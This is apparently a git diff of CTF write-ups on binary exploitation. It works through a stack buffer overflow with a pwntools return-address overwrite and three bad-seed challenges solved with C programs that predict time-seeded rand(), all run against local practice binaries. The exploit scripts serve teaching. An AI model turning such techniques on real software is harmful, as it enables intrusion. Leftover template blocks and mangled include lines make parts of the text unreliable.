0x00007fffffffe0a0│+0x0030: 0x0000000000000000
|
||||
0x00007fffffffe0a8│+0x0038: 0x00000000000000c2
|
||||
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
|
||||
0x400694 rex.RB ror BYTE PTR [r8-0x77], 0xc7
|
||||
0x400699 mov eax, 0x0
|
||||
0x40069e call 0x400500
|
||||
→ 0x4006a3 leave
|
||||
0x4006a4 ret
|
||||
0x4006a5 nop WORD PTR cs:[rax+rax*1+0x0]
|
||||
0x4006af nop
|
||||
0x4006b0 <__libc_csu_init+0> push r15
|
||||
0x4006b2 <__libc_csu_init+2> mov r15d, edi
|
||||
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
|
||||
[#0] Id 1, Name: "warmup", stopped 0x4006a3 in main (), reason: BREAKPOINT
|
||||
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
|
||||
[#0] 0x4006a3 → main()
|
||||
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
|
||||
gef➤
|
||||
|
||||
|
||||
We gave it a simple pattern '13371337' so now we search for that pattern:
|
||||
|
||||
|
||||
gef➤ search-pattern 13371337
|
||||
[+] Searching '13371337' in memory
|
||||
[+] In '[heap]'(0x602000-0x623000), permission=rw-
|
||||
0x6022a0 - 0x6022aa → "13371337\n"
|
||||
[+] In '[stack]'(0x7ffffffde000-0x7ffffffff000), permission=rw-
|
||||
**0x7fffffffe0b0** - 0x7fffffffe0b8 → "13371337"
|
||||
|
||||
gef➤ i f
|
||||
Stack level 0, frame at 0x7fffffffe100:
|
||||
rip = 0x4006a3 in main; saved rip = 0x7ffff7e14d0a
|
||||
Arglist at 0x7fffffffe0f0, args:
|
||||
Locals at 0x7fffffffe0f0, Previous frame's sp is 0x7fffffffe100
|
||||
Saved registers:
|
||||
rbp at 0x7fffffffe0f0, rip at **0x7fffffffe0f8**
|
||||
|
||||
|
||||
|
||||
Now let's calculate the offset:
|
||||
|
||||
|
||||
>>> hex(0x7fffffffe0f8 - 0x7fffffffe0b0)
|
||||
'0x48'
|
||||
|
||||
|
||||
So now we know that after 0x48 bytes of input, we start overwriting the return address, so we can write the following exploit:
|
||||
|
||||
|
||||
[ 192.168.100.126/24 ] [ /dev/pts/1 ] [binexp/2/warmup]
|
||||
→ vim exploit.py
|
||||
|
||||
|
||||
|
||||
|
||||
from pwn import *
|
||||
|
||||
target = process('./warmup')
|
||||
|
||||
# Make the payload
|
||||
payload = b""
|
||||
payload += b"0"*0x48 # Overflow the buffer up to the return address
|
||||
payload += p64(0x40060d) # Overwrite the return address with the address of the `easy` function
|
||||
|
||||
# Send the payload
|
||||
target.sendline(payload)
|
||||
|
||||
target.interactive()
|
||||
|
||||
|
||||
|
||||
Then run it:
|
||||
|
||||
|
||||
[ 192.168.100.126/24 ] [ /dev/pts/3 ] [binexp/2/warmup]
|
||||
→ python3 exploit.py
|
||||
[+] Starting local process './warmup': pid 78458
|
||||
[*] Switching to interactive mode
|
||||
-Warm Up-
|
||||
WOW:0x40060d
|
||||
>flag{g0ttem_b0yz}
|
||||
[*] Got EOF while reading in interactive
|
||||
$ exit
|
||||
[*] Process './warmup' stopped with exit code -11 (SIGSEGV) (pid 78458)
|
||||
[*] Got EOF while sending in interactive
|
||||
|
||||
|
||||
and we got the flag !
|
||||
|
||||
## Title
|
||||
|
||||
text
|
||||
|
||||
|
||||
|
||||
|
||||
` ![]()
|
||||
|
||||
## Title
|
||||
|
||||
text
|
||||
|
||||
|
||||
|
||||
|
||||
` ![]()
|
||||
|
84
3/0.md
Normal file
|
@ -0,0 +1,84 @@
|
|||
# Binary Exploitation
|
||||
|
||||
## Downloading the binary file
|
||||
|
||||
|
||||
|
||||
|
||||
` ![]()
|
||||
|
||||
## Solution
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
![]()
|
||||
|
||||
![]()
|
||||
|
||||
![]()
|
||||
|
||||
![]()
|
||||
|
||||
![]()
|
||||
|
||||
![]()
|
||||
|
||||
![]()
|
||||
|
||||
![]()
|
||||
|
||||
![]()
|
||||
|
||||
![]()
|
||||
|
||||
![]()
|
||||
|
||||
## Title
|
||||
|
||||
text
|
||||
|
||||
|
||||
|
||||
|
||||
` ![]()
|
||||
|
||||
## Title
|
||||
|
||||
text
|
||||
|
||||
|
||||
|
||||
|
||||
` ![]()
|
||||
|
BIN
3/0.png
Normal file
After Width: | Height: | Size: 75 KiB |
BIN
3/1.png
Normal file
After Width: | Height: | Size: 108 KiB |
BIN
3/2.png
Normal file
After Width: | Height: | Size: 81 KiB |
219
3/h3.md
Normal file
|
@ -0,0 +1,219 @@
|
|||
# h3 time
|
||||
|
||||
## Downloading the binary file
|
||||
|
||||
|
||||
[ 192.168.0.18/24 ] [ /dev/pts/25 ] [binexp/3/time]
|
||||
→ wget https://github.com/guyinatuxedo/nightmare/raw/master/modules/09-bad_seed/h3_time/time
|
||||
--2021-03-07 12:51:05-- https://github.com/guyinatuxedo/nightmare/raw/master/modules/09-bad_seed/h3_time/time
|
||||
Loaded CA certificate '/etc/ssl/certs/ca-certificates.crt'
|
||||
Resolving github.com (github.com)... 140.82.121.3
|
||||
Connecting to github.com (github.com)|140.82.121.3|:443... connected.
|
||||
HTTP request sent, awaiting response... 302 Found
|
||||
Location: https://raw.githubusercontent.com/guyinatuxedo/nightmare/master/modules/09-bad_seed/h3_time/time [following]
|
||||
--2021-03-07 12:51:05-- https://raw.githubusercontent.com/guyinatuxedo/nightmare/master/modules/09-bad_seed/h3_time/time
|
||||
Resolving raw.githubusercontent.com (raw.githubusercontent.com)... 185.199.111.133, 185.199.108.133, 185.199.110.133, ...
|
||||
Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|185.199.111.133|:443... connected.
|
||||
HTTP request sent, awaiting response... 200 OK
|
||||
Length: 8864 (8.7K) [application/octet-stream]
|
||||
Saving to: ‘time’
|
||||
|
||||
time 100%[================================================================>] 8.66K --.-KB/s in 0.006s
|
||||
|
||||
2021-03-07 12:51:06 (1.41 MB/s) - ‘time’ saved [8864/8864]
|
||||
|
||||
|
||||
[ 192.168.0.18/24 ] [ /dev/pts/25 ] [binexp/3/time]
|
||||
→ file time
|
||||
time: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=4972fe3e2914c74bc97f0623f0c4643c40300dab, not stripped
|
||||
|
||||
[ 192.168.0.18/24 ] [ /dev/pts/25 ] [binexp/3/time]
|
||||
→ chmod +x time
|
||||
|
||||
|
||||
|
||||
` ![]()
|
||||
|
||||
## Solution
|
||||
|
||||
First let's take a look at the binary with pwn checksec as well as running it:
|
||||
|
||||
|
||||
[ 192.168.0.18/24 ] [ /dev/pts/25 ] [binexp/3/time]
|
||||
→ pwn checksec time; ./time
|
||||
[*] '/home/nothing/binexp/3/time/time'
|
||||
Arch: amd64-64-little
|
||||
RELRO: Partial RELRO
|
||||
Stack: Canary found
|
||||
NX: NX enabled
|
||||
PIE: No PIE (0x400000)
|
||||
Welcome to the number guessing game!
|
||||
I'm thinking of a number. Can you guess it?
|
||||
Guess right and you get a flag!
|
||||
Enter your number: 1234
|
||||
Your guess was 1234.
|
||||
Looking for 34981616.
|
||||
Sorry. Try again, wrong guess!
|
||||
|
||||
[ 192.168.0.18/24 ] [ /dev/pts/25 ] [binexp/3/time]
|
||||
→ ./time
|
||||
Welcome to the number guessing game!
|
||||
I'm thinking of a number. Can you guess it?
|
||||
Guess right and you get a flag!
|
||||
Enter your number: 4321
|
||||
Your guess was 4321.
|
||||
Looking for 994945792.
|
||||
Sorry. Try again, wrong guess!
|
||||
|
||||
|
||||
|
||||
|
||||
So here we see that we have a 64bit binary. When we run it, it prompts us to guess a number. Let's check what ghidra finds on that binary:
|
||||
|
||||
|
||||
undefined8 main(void)
|
||||
|
||||
{
|
||||
time_t tVar1;
|
||||
long in_FS_OFFSET;
|
||||
uint local_18;
|
||||
uint local_14;
|
||||
long local_10;
|
||||
|
||||
local_10 = *(long *)(in_FS_OFFSET + 0x28);
|
||||
tVar1 = time((time_t *)0x0);
|
||||
srand((uint)tVar1);
|
||||
local_14 = rand();
|
||||
puts("Welcome to the number guessing game!");
|
||||
puts("I\'m thinking of a number. Can you guess it?");
|
||||
puts("Guess right and you get a flag!");
|
||||
printf("Enter your number: ");
|
||||
fflush(stdout);
|
||||
__isoc99_scanf(&DAT;_00400bbc,&local;_18);
|
||||
printf("Your guess was %u.\n",(ulong)local_18);
|
||||
printf("Looking for %u.\n",(ulong)local_14);
|
||||
fflush(stdout);
|
||||
if (local_14 == local_18) {
|
||||
puts("You won. Guess was right! Here\'s your flag:");
|
||||
giveFlag();
|
||||
}
|
||||
else {
|
||||
puts("Sorry. Try again, wrong guess!");
|
||||
}
|
||||
fflush(stdout);
|
||||
if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
|
||||
/* WARNING: Subroutine does not return */
|
||||
__stack_chk_fail();
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
||||
|
||||
Here we see something interesting, first of all the **rand** function which should give a random number, as well as the scanf call with the %u format string stored in local_18. Basically the main function creates a random number, then prompts us for some number to store into local_18, and then it checks if the 2 numbers are the same. If they are we enter the giveFlag function:
|
||||
|
||||
|
||||
void giveFlag(void)
|
||||
|
||||
{
|
||||
FILE *__stream;
|
||||
long in_FS_OFFSET;
|
||||
char local_118 [264];
|
||||
long local_10;
|
||||
|
||||
local_10 = *(long *)(in_FS_OFFSET + 0x28);
|
||||
memset(local_118,0,0x100);
|
||||
__stream = fopen("/home/h3/flag.txt","r");
|
||||
if (__stream == (FILE *)0x0) {
|
||||
puts("Flag file not found! Contact an H3 admin for assistance.");
|
||||
}
|
||||
else {
|
||||
fgets(local_118,0x100,__stream);
|
||||
fclose(__stream);
|
||||
puts(local_118);
|
||||
}
|
||||
if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
|
||||
/* WARNING: Subroutine does not return */
|
||||
__stack_chk_fail();
|
||||
}
|
||||
return;
|
||||
}
|
||||
|
||||
|
||||
|
||||
Here we see that this function reads and prints out the flag file from **/home/h3/flag.txt** What we need to figure out is what the output of the **rand** function will be. Thing is, the output of the ran dunction is not actually random. The output is based off a value called a 'seed' which it uses to determine what number sequence to generate. SO if we can get the same seed, we can get **rand** to generate the same sequence of numbers. Looking at the decompiled code, we see the following:
|
||||
|
||||
|
||||
tVar1 = time((time_t *)0x0);
|
||||
srand((uint)tVar1);
|
||||
|
||||
|
||||
|
||||
Here we see tVar1 gets the current time as a seed, therefore we can write a C program that uses the current time as a seed, and output a digit and redirect the output to the target:
|
||||
|
||||
|
||||
[ 192.168.0.18/24 ] [ /dev/pts/25 ] [binexp/3/time]
|
||||
→ vim exploit.c
|
||||
|
||||
|
||||
|
||||
|
||||
#include<****stdio.h>
|
||||
#include <****time.h>
|
||||
#include <****stdlib.h>
|
||||
#include <****stdint.h>
|
||||
#include <****string.h>
|
||||
|
||||
int main()
|
||||
{
|
||||
uint32_t rand_num;
|
||||
srand(time(0)); //seed with current time
|
||||
rand_num = rand();
|
||||
uint32_t ans;
|
||||
printf("%d\n", rand_num);
|
||||
}
|
||||
|
||||
|
||||
[ 192.168.0.18/24 ] [ /dev/pts/25 ] [binexp/3/time]
|
||||
→ gcc exploit.c -o exploit
|
||||
|
||||
[ 192.168.0.18/24 ] [ /dev/pts/25 ] [binexp/3/time]
|
||||
→ ./exploit
|
||||
1779237112
|
||||
|
||||
[ 192.168.0.18/24 ] [ /dev/pts/25 ] [binexp/3/time]
|
||||
→ ./exploit
|
||||
1476399991
|
||||
|
||||
[ 192.168.0.18/24 ] [ /dev/pts/25 ] [binexp/3/time]
|
||||
→ ./exploit | ./time
|
||||
Welcome to the number guessing game!
|
||||
I'm thinking of a number. Can you guess it?
|
||||
Guess right and you get a flag!
|
||||
Enter your number: Your guess was 1333337650.
|
||||
Looking for 1333337650.
|
||||
You won. Guess was right! Here's your flag:
|
||||
${g0tt3m_boyz}
|
||||
|
||||
|
||||
|
||||
And that's it ! We managed to print the flag.
|
||||
|
||||
## Title
|
||||
|
||||
text
|
||||
|
||||
|
||||
|
||||
|
||||
` ![]()
|
||||
|
||||
## Title
|
||||
|
||||
text
|
||||
|
||||
|
||||
|
||||
|
||||
` ![]()
|
||||
|
301
3/prep.md
Normal file
|
@ -0,0 +1,301 @@
|
|||
# Sunshine CTF 2017 Prepared
|
||||
|
||||
## Downloading the binary file
|
||||
|
||||
|
||||
[ 192.168.0.18/24 ] [ /dev/pts/25 ] [binexp/3/prep]
|
||||
→ wget https://github.com/guyinatuxedo/nightmare/raw/master/modules/09-bad_seed/sunshinectf17_prepared/prepared
|
||||
--2021-03-07 13:57:41-- https://github.com/guyinatuxedo/nightmare/raw/master/modules/09-bad_seed/sunshinectf17_prepared/prepared
|
||||
Loaded CA certificate '/etc/ssl/certs/ca-certificates.crt'
|
||||
Resolving github.com (github.com)... 140.82.121.3
|
||||
Connecting to github.com (github.com)|140.82.121.3|:443... connected.
|
||||
HTTP request sent, awaiting response... 302 Found
|
||||
Location: https://raw.githubusercontent.com/guyinatuxedo/nightmare/master/modules/09-bad_seed/sunshinectf17_prepared/prepared [following]
|
||||
--2021-03-07 13:57:41-- https://raw.githubusercontent.com/guyinatuxedo/nightmare/master/modules/09-bad_seed/sunshinectf17_prepared/prepared
|
||||
Resolving raw.githubusercontent.com (raw.githubusercontent.com)... 185.199.108.133, 185.199.110.133, 185.199.111.133, ...
|
||||
Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|185.199.108.133|:443... connected.
|
||||
HTTP request sent, awaiting response... 200 OK
|
||||
Length: 12888 (13K) [application/octet-stream]
|
||||
Saving to: ‘prepared’
|
||||
|
||||
prepared 100%[================================================================>] 12.59K --.-KB/s in 0.001s
|
||||
|
||||
2021-03-07 13:57:42 (16.2 MB/s) - ‘prepared’ saved [12888/12888]
|
||||
|
||||
|
||||
[ 192.168.0.18/24 ] [ /dev/pts/25 ] [binexp/3/prep]
|
||||
→ file prepared
|
||||
prepared: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=9cd9483ed0e7707d3addd2de44da60d2575652fb, not stripped
|
||||
|
||||
[ 192.168.0.18/24 ] [ /dev/pts/25 ] [binexp/3/prep]
|
||||
→ chmod +x prepared
|
||||
|
||||
|
||||
|
||||
` ![]()
|
||||
|
||||
## Solution
|
||||
|
||||
So let's first run pwn checksec on the binary before executing it to see what it does:
|
||||
|
||||
|
||||
[ 192.168.0.18/24 ] [ /dev/pts/25 ] [binexp/3/prep]
|
||||
→ pwn checksec prepared
|
||||
[*] '/home/nothing/binexp/3/prep/prepared'
|
||||
Arch: amd64-64-little
|
||||
RELRO: Full RELRO
|
||||
Stack: Canary found
|
||||
NX: NX enabled
|
||||
PIE: PIE enabled
|
||||
|
||||
[ 192.168.0.18/24 ] [ /dev/pts/25 ] [binexp/3/prep]
|
||||
→ ./prepared
|
||||
0 days without an incident.
|
||||
123
|
||||
Well that didn't take long.
|
||||
You should have used 63.
|
||||
|
||||
[ 192.168.0.18/24 ] [ /dev/pts/25 ] [binexp/3/prep]
|
||||
→ ./prepared
|
||||
0 days without an incident.
|
||||
63
|
||||
Well that didn't take long.
|
||||
You should have used 67.
|
||||
|
||||
[ 192.168.0.18/24 ] [ /dev/pts/25 ] [binexp/3/prep]
|
||||
→ ./prepared
|
||||
0 days without an incident.
|
||||
67
|
||||
Well that didn't take long.
|
||||
You should have used 24.
|
||||
|
||||
|
||||
|
||||
Here we see that this is a 64 bit binary with everything enabled (full relro, canary, nx and pie). It prompts us for input to make us guess a random number, let's take a look at it in ghidra:
|
||||
|
||||

|
||||
|
||||
And here we get the following code for the main function:
|
||||
|
||||
|
||||
undefined8 main(void)
|
||||
|
||||
{
|
||||
int iVar1;
|
||||
time_t tVar2;
|
||||
FILE *__stream;
|
||||
char *pcVar3;
|
||||
long in_FS_OFFSET;
|
||||
uint local_464;
|
||||
char local_448 [64];
|
||||
char local_408 [512];
|
||||
char local_208 [504];
|
||||
long local_10;
|
||||
|
||||
local_10 = *(long *)(in_FS_OFFSET + 0x28);
|
||||
tVar2 = time((time_t *)0x0);
|
||||
srand((uint)tVar2);
|
||||
local_464 = 0;
|
||||
while ((int)local_464 < 0x32) {
|
||||
iVar1 = rand();
|
||||
printf("%d days without an incident.\n",(ulong)local_464);
|
||||
sprintf(local_208,"%d",(ulong)(uint)(iVar1 % 100));
|
||||
__isoc99_scanf(" %10s",local_408);
|
||||
strtok(local_408,"\n");
|
||||
iVar1 = strcmp(local_208,local_408);
|
||||
if (iVar1 != 0) {
|
||||
puts("Well that didn\'t take long.");
|
||||
printf("You should have used %s.\n",local_208);
|
||||
/* WARNING: Subroutine does not return */
|
||||
exit(0);
|
||||
}
|
||||
local_464 = local_464 + 1;
|
||||
}
|
||||
puts("How very unpredictable. Level Cleared");
|
||||
__stream = fopen("flag.txt","r");
|
||||
while( true ) {
|
||||
pcVar3 = fgets(local_448,0x32,__stream);
|
||||
if (pcVar3 == (char *)0x0) break;
|
||||
printf("%s",local_448);
|
||||
}
|
||||
if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
|
||||
/* WARNING: Subroutine does not return */
|
||||
__stack_chk_fail();
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
||||
Just like in the previous 2 challenges, time is declared as a seed with the srand function, and then it uses **rand** to generate values that are modded by 100 (value%100), and we have to guess it in a loop 50 times, So in order to guess the rand number 50 times in a row, this is based off of the seed, and since the seed is simply the current time, we can write a simple C program to get the seed and generate the numbers it expects:
|
||||
|
||||
|
||||
[ 192.168.0.18/24 ] [ /dev/pts/25 ] [binexp/3/prep]
|
||||
→ vim exploit.c
|
||||
|
||||
|
||||
|
||||
|
||||
****#include <****stdio.h>
|
||||
#include <****stdlib.h>
|
||||
#include <****time.h>
|
||||
#include <****string.h>
|
||||
|
||||
int main(void)
|
||||
{
|
||||
int i, out;
|
||||
time_t var0 = time(NULL);
|
||||
srand(var0);
|
||||
|
||||
for (i = 0; i < 50; i++)
|
||||
{
|
||||
out = rand() % 100;
|
||||
printf("%d\n", out);
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
||||
|
||||
Here we compile it with gcc:
|
||||
|
||||
|
||||
[ 192.168.0.18/24 ] [ /dev/pts/25 ] [binexp/3/prep]
|
||||
→ gcc exploit.c -o exploit
|
||||
|
||||
[ 192.168.0.18/24 ] [ /dev/pts/25 ] [binexp/3/prep]
|
||||
→ ./exploit
|
||||
83
|
||||
93
|
||||
92
|
||||
55
|
||||
70
|
||||
63
|
||||
4
|
||||
64
|
||||
54
|
||||
21
|
||||
87
|
||||
42
|
||||
77
|
||||
17
|
||||
74
|
||||
86
|
||||
57
|
||||
18
|
||||
72
|
||||
7
|
||||
52
|
||||
76
|
||||
46
|
||||
78
|
||||
81
|
||||
83
|
||||
19
|
||||
55
|
||||
20
|
||||
14
|
||||
21
|
||||
55
|
||||
59
|
||||
13
|
||||
10
|
||||
81
|
||||
76
|
||||
67
|
||||
46
|
||||
83
|
||||
88
|
||||
33
|
||||
77
|
||||
17
|
||||
2
|
||||
3
|
||||
4
|
||||
59
|
||||
21
|
||||
28
|
||||
|
||||
|
||||
|
||||
Now let's pipe it into the stdin of our binary:
|
||||
|
||||
|
||||
[ 192.168.0.18/24 ] [ /dev/pts/25 ] [binexp/3/prep]
|
||||
→ ./exploit | ./prepared
|
||||
0 days without an incident.
|
||||
1 days without an incident.
|
||||
2 days without an incident.
|
||||
3 days without an incident.
|
||||
4 days without an incident.
|
||||
5 days without an incident.
|
||||
6 days without an incident.
|
||||
7 days without an incident.
|
||||
8 days without an incident.
|
||||
9 days without an incident.
|
||||
10 days without an incident.
|
||||
11 days without an incident.
|
||||
12 days without an incident.
|
||||
13 days without an incident.
|
||||
14 days without an incident.
|
||||
15 days without an incident.
|
||||
16 days without an incident.
|
||||
17 days without an incident.
|
||||
18 days without an incident.
|
||||
19 days without an incident.
|
||||
20 days without an incident.
|
||||
21 days without an incident.
|
||||
22 days without an incident.
|
||||
23 days without an incident.
|
||||
24 days without an incident.
|
||||
25 days without an incident.
|
||||
26 days without an incident.
|
||||
27 days without an incident.
|
||||
28 days without an incident.
|
||||
29 days without an incident.
|
||||
30 days without an incident.
|
||||
31 days without an incident.
|
||||
32 days without an incident.
|
||||
33 days without an incident.
|
||||
34 days without an incident.
|
||||
35 days without an incident.
|
||||
36 days without an incident.
|
||||
37 days without an incident.
|
||||
38 days without an incident.
|
||||
39 days without an incident.
|
||||
40 days without an incident.
|
||||
41 days without an incident.
|
||||
42 days without an incident.
|
||||
43 days without an incident.
|
||||
44 days without an incident.
|
||||
45 days without an incident.
|
||||
46 days without an incident.
|
||||
47 days without an incident.
|
||||
48 days without an incident.
|
||||
49 days without an incident.
|
||||
How very unpredictable. Level Cleared
|
||||
[1] 2904178 done ./exploit |
|
||||
2904179 segmentation fault (core dumped) ./prepared
|
||||
|
||||
|
||||
|
||||
And that's it! we have been able to guess the random number 50 times.
|
||||
|
||||
## Title
|
||||
|
||||
text
|
||||
|
||||
|
||||
|
||||
|
||||
` ![]()
|
||||
|
||||
## Title
|
||||
|
||||
text
|
||||
|
||||
|
||||
|
||||
|
||||
` ![]()
|
||||
|
278
3/tux.md
Normal file
|
@ -0,0 +1,278 @@
|
|||
# hsctf 2019 tux talk show
|
||||
|
||||
## Downloading the binary file
|
||||
|
||||
|
||||
[ 192.168.0.18/24 ] [ /dev/pts/25 ] [binexp/3/tux]
|
||||
→ wget https://github.com/guyinatuxedo/nightmare/raw/master/modules/09-bad_seed/hsctf19_tuxtalkshow/tuxtalkshow
|
||||
|
||||
--2021-03-07 13:24:34-- https://github.com/guyinatuxedo/nightmare/raw/master/modules/09-bad_seed/hsctf19_tuxtalkshow/tuxtalkshow
|
||||
Loaded CA certificate '/etc/ssl/certs/ca-certificates.crt'
|
||||
Resolving github.com (github.com)... 140.82.121.3
|
||||
Connecting to github.com (github.com)|140.82.121.3|:443... connected.
|
||||
HTTP request sent, awaiting response... 302 Found
|
||||
Location: https://raw.githubusercontent.com/guyinatuxedo/nightmare/master/modules/09-bad_seed/hsctf19_tuxtalkshow/tuxtalkshow [following]
|
||||
--2021-03-07 13:24:35-- https://raw.githubusercontent.com/guyinatuxedo/nightmare/master/modules/09-bad_seed/hsctf19_tuxtalkshow/tuxtalkshow
|
||||
Resolving raw.githubusercontent.com (raw.githubusercontent.com)... 185.199.109.133, 185.199.110.133, 185.199.108.133, ...
|
||||
Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|185.199.109.133|:443... connected.
|
||||
HTTP request sent, awaiting response... 200 OK
|
||||
Length: 21112 (21K) [application/octet-stream]
|
||||
Saving to: ‘tuxtalkshow’
|
||||
|
||||
tuxtalkshow 100%[================================================================>] 20.62K --.-KB/s in 0.003s
|
||||
|
||||
2021-03-07 13:24:35 (5.81 MB/s) - ‘tuxtalkshow’ saved [21112/21112]
|
||||
|
||||
|
||||
[ 192.168.0.18/24 ] [ /dev/pts/25 ] [binexp/3/tux]
|
||||
→ file tuxtalkshow
|
||||
tuxtalkshow: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=8c0d2b94392e01fecb4b54999cc8afe6fa99653d, for GNU/Linux 3.2.0, not stripped
|
||||
|
||||
[ 192.168.0.18/24 ] [ /dev/pts/25 ] [binexp/3/tux]
|
||||
→ chmod +x tuxtalkshow
|
||||
|
||||
|
||||
|
||||
|
||||
` ![]()
|
||||
|
||||
## Solution
|
||||
|
||||
First let's run pwn checksec on the binary file before executing it to see what it does:
|
||||
|
||||
|
||||
[ 192.168.0.18/24 ] [ /dev/pts/25 ] [binexp/3/tux]
|
||||
→ pwn checksec tuxtalkshow
|
||||
[*] '/home/nothing/binexp/3/tux/tuxtalkshow'
|
||||
Arch: amd64-64-little
|
||||
RELRO: Partial RELRO
|
||||
Stack: Canary found
|
||||
NX: NX enabled
|
||||
PIE: PIE enabled
|
||||
|
||||
[ 192.168.0.18/24 ] [ /dev/pts/25 ] [binexp/3/tux]
|
||||
→ ./tuxtalkshow
|
||||
Welcome to Tux Talk Show 2019!!!
|
||||
Enter your lucky number: 13371337
|
||||
|
||||
|
||||
|
||||
So here we have a 64bit binary with PIE enabled. When we run it it prompts us for a number. So let's check it out from inside of ghidra:
|
||||
|
||||

|
||||
|
||||
And here we get a gigantic main function:
|
||||
|
||||
|
||||
undefined8 main(void)
|
||||
|
||||
{
|
||||
int iVar1;
|
||||
time_t tVar2;
|
||||
basic_ostream *pbVar3;
|
||||
long in_FS_OFFSET;
|
||||
int local_290;
|
||||
int local_28c;
|
||||
int local_288;
|
||||
int local_284;
|
||||
undefined4 local_280;
|
||||
undefined4 local_27c;
|
||||
undefined4 local_278;
|
||||
undefined4 local_274;
|
||||
undefined4 local_270;
|
||||
undefined4 local_26c;
|
||||
int local_268 [8];
|
||||
basic_string local_248 [32];
|
||||
basic_istream local_228 [520];
|
||||
long local_20;
|
||||
|
||||
local_20 = *(long *)(in_FS_OFFSET + 0x28);
|
||||
std::basic_ifstream>::basic_ifstream((char *)local_228,0x1020b0);
|
||||
tVar2 = time((time_t *)0x0);
|
||||
srand((uint)tVar2);
|
||||
/* try { // try from 0010127e to 001012c0 has its CatchHandler @ 00101493 */
|
||||
pbVar3 = std::operator<<((basic_ostream *)std::cout,"Welcome to Tux Talk Show 2019!!!");
|
||||
std::basic_ostream>::operator<<
|
||||
((basic_ostream> *)pbVar3,
|
||||
std::endl>);
|
||||
std::operator<<((basic_ostream *)std::cout,"Enter your lucky number: ");
|
||||
std::basic_istream>::operator>>
|
||||
((basic_istream> *)std::cin,&local;_290);
|
||||
local_280 = 0x79;
|
||||
local_27c = 0x12c97f;
|
||||
local_278 = 0x135f0f8;
|
||||
local_274 = 0x74acbc6;
|
||||
local_270 = 0x56c614e;
|
||||
local_26c = 0xffffffe2;
|
||||
local_268[0] = 0x79;
|
||||
local_268[1] = 0x12c97f;
|
||||
local_268[2] = 0x135f0f8;
|
||||
local_268[3] = 0x74acbc6;
|
||||
local_268[4] = 0x56c614e;
|
||||
local_268[5] = 0xffffffe2;
|
||||
local_28c = 0;
|
||||
while (local_28c < 6) {
|
||||
iVar1 = rand();
|
||||
local_268[local_28c] = local_268[local_28c] - (iVar1 % 10 + -1);
|
||||
local_28c = local_28c + 1;
|
||||
}
|
||||
local_288 = 0;
|
||||
local_284 = 0;
|
||||
while (local_284 < 6) {
|
||||
local_288 = local_288 + local_268[local_284];
|
||||
local_284 = local_284 + 1;
|
||||
}
|
||||
if (local_288 == local_290) {
|
||||
std::__cxx11::basic_string,std::allocator>::basic_string();
|
||||
/* try { // try from 00101419 to 00101448 has its CatchHandler @ 0010147f */
|
||||
std::operator>>(local_228,local_248);
|
||||
pbVar3 = std::operator<<((basic_ostream *)std::cout,local_248);
|
||||
std::basic_ostream>::operator<<
|
||||
((basic_ostream> *)pbVar3,
|
||||
std::endl>);
|
||||
std::__cxx11::basic_string,std::allocator>::~basic_string
|
||||
((basic_string,std::allocator> *)local_248);
|
||||
}
|
||||
std::basic_ifstream>::~basic_ifstream
|
||||
((basic_ifstream> *)local_228);
|
||||
if (local_20 != *(long *)(in_FS_OFFSET + 0x28)) {
|
||||
/* WARNING: Subroutine does not return */
|
||||
__stack_chk_fail();
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
||||
Here we cansee that it starts off by scanning the contents of flag.txt and saves it into **local_228**. Then it initialized an integer array with size entries, although the decompilation only shows 4. So let's look at the assembly code:
|
||||
|
||||
|
||||
001012bc e8 8f fd CALL operator>> undefined operator>>(basic_istre
|
||||
ff ff
|
||||
} // end try from 0010127e to 001012c0
|
||||
001012c1 c7 85 88 MOV dword ptr [RBP + local_280],0x79
|
||||
fd ff ff
|
||||
79 00 00 00
|
||||
001012cb c7 85 8c MOV dword ptr [RBP + local_27c],0x12c97f
|
||||
fd ff ff
|
||||
7f c9 12 00
|
||||
001012d5 c7 85 90 MOV dword ptr [RBP + local_278],0x135f0f8
|
||||
fd ff ff
|
||||
f8 f0 35 01
|
||||
001012df c7 85 94 MOV dword ptr [RBP + local_274],0x74acbc6
|
||||
fd ff ff
|
||||
c6 cb 4a 07
|
||||
001012e9 c7 85 98 MOV dword ptr [RBP + local_270],0x56c614e
|
||||
fd ff ff
|
||||
4e 61 6c 05
|
||||
001012f3 c7 85 9c MOV dword ptr [RBP + local_26c],0xffffffe2
|
||||
fd ff ff
|
||||
e2 ff ff ff
|
||||
|
||||
|
||||
|
||||
We also see that it uses time as a seed. It performs an algorithm where it will generate random numbers by using time a sa seed to edit the values of array, and then it accumulate all of those values to end up with the number we are supposed to guess. Since the rand function is directly based off of the seed, and since the seed is the time, we know what the values the rand function will output, and thus end up with the following C program:
|
||||
|
||||
|
||||
[ 192.168.0.18/24 ] [ /dev/pts/25 ] [binexp/3/tux]
|
||||
→ vim exploit.c
|
||||
|
||||
|
||||
|
||||
|
||||
****#include <****stdio.h>
|
||||
#include <****stdlib.h>
|
||||
#include <****stdint.h>
|
||||
#include <****time.h>
|
||||
